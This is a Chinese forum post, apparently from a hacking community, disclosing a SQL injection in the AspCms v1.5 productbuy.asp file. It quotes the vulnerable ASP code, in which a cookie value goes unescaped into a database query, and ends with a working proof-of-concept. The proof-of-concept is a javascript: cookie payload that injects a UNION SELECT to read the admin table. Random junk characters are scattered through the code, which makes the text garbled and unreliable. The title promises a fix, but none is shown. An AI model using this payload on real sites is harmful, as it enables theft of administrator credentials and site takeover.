AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
废话不多说，看代码：

) u$ o/ U0 R) h# g9 K& l: P<%

if action = "buy" then
  q2 |9 |; j5 g$ @, x  q0 z
        addOrder()
, `6 T8 w8 S$ z9 \5 o0 m' {: k
else
7 S7 L' \: o% b( z
        echoContent()
" e- D' e$ i$ ^. h& \& g1 U: O
end if



……略过
  w* M+ z, T4 `0 Y/ O
* R# ?3 {9 r- M# A
! w- y+ k; d: n( f  P4 i) M) ~
$ E0 `& |. N, z- tSub echoContent()
# h% V; j8 A$ [
9 R6 {; y) A* |( K        dim id
) h1 P8 y  Z* T5 N3 R) C
        id=getForm("id","get")
  j' D9 c+ [  \9 C, M
# M1 V1 |5 n7 s2 q) c# w4 T        

2 P4 x. H  ?6 Y  N$ Y; c; J        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"

        

% J, |! `9 Y$ t+ w9 `  G; @        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
6 A5 b% p# Y1 U* L8 q/ V0 k
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct

        Dim templatePath,tempStr
7 z; h: {0 d7 U3 \4 h) H  k
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
/ h% D/ R2 n( b0 V: s% B

7 T" [' E/ |) ~$ R7 U
/ T) G) H& a4 e        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
8 [( H" m, m9 u( X1 K5 @
        selectproduct=rsObj(0)
/ W  J6 I- s7 |$ L2 x" [; x
        
/ Z9 c7 k8 C/ x/ D' O! B4 [
        Dim linkman,gender,phone,mobile,email,qq,address,postcode

2 Y2 M. }/ M% P, |8 n3 o        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
* f$ W" H, R, [
' A( p) n4 F) z* o1 @' F8 l        if rCookie("loginstatus")=1 then  

                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
* J8 R4 m. C7 Q1 Z
                linkman=rsObj("truename")
: k9 G1 ?/ t7 H- q$ x
( k5 h# a/ B  p) d7 W9 |                gender=rsObj("gender")
( t1 U: ]9 Z" ~8 K. e
; O; p: n4 X2 S. O( Z                phone=rsObj("phone")

                mobile=rsObj("mobile")

  q* }  T! y0 w; k                email=rsObj("email")

! W, f# R) [2 j# n4 N2 l                qq=rsObj("qq")

                address=rsObj("address")

                postcode=rsObj("postcode")
* i7 g7 m4 h" ~: @7 ?7 V
        else

                gender=1

        end if
2 @3 F2 {  B0 R) {7 m
        rsObj.close()
! `4 p. m4 l/ E; Z  A3 B" S
7 o6 i0 ]) [/ M' i& l; ?% D7 X7 T               
7 L5 W( z- _; x+ C5 p
        with templateObj
+ }& E7 M. C2 t* f+ {
# `7 x3 N' t7 A; |+ o                .content=loadFile(templatePath)        
  N1 v1 D2 t) y3 z. j
" `4 t8 h# l6 d9 e$ T( W5 ~& [                .parseHtml()

+ C3 k( P0 B. c1 p; U/ D                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
$ k# H9 K; Q' g0 |
7 R, h2 N, y6 `5 b                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
( h# \. K0 v  ?. U9 D' R
                .content=replaceStr(.content,"[aspcms:gender]",gender)               
' s3 C3 E2 l7 \4 g( {
                .content=replaceStr(.content,"[aspcms:phone]",phone)               
( n; J2 r9 Z8 o3 [. t+ `
% t: S/ \  T: v* R+ E# j0 W                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               

; k3 |6 h/ [3 M6 B1 W                .content=replaceStr(.content,"[aspcms:email]",email)                        

                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
) t: L2 b& A* s& U" ?  p& L9 F0 y. d6 R
                .content=replaceStr(.content,"[aspcms:address]",address)                        
9 ]- \8 m# n7 _( d6 g: S
( H0 W4 o, s3 E  W6 l9 b8 `6 V- R                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
# W( N0 i- D% _2 E
                .parseCommon()                 

                echo .content

% O" T7 ]% R. E* X$ w        end with

7 i4 H1 c  g9 _/ S& ]' U. C( U        set templateobj =nothing : terminateAllObjects

6 L5 u$ d9 H$ m/ Q. p# ^End Sub
漏洞很明显，没啥好说的
; A$ w% ?; M3 {0 lpoc：
( a1 W0 D+ g9 L2 e& |# [/ Z3 v. L' A
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​
5 k( e3 o+ r9 l" l9 i
5 a/ d; C' d+ q2 B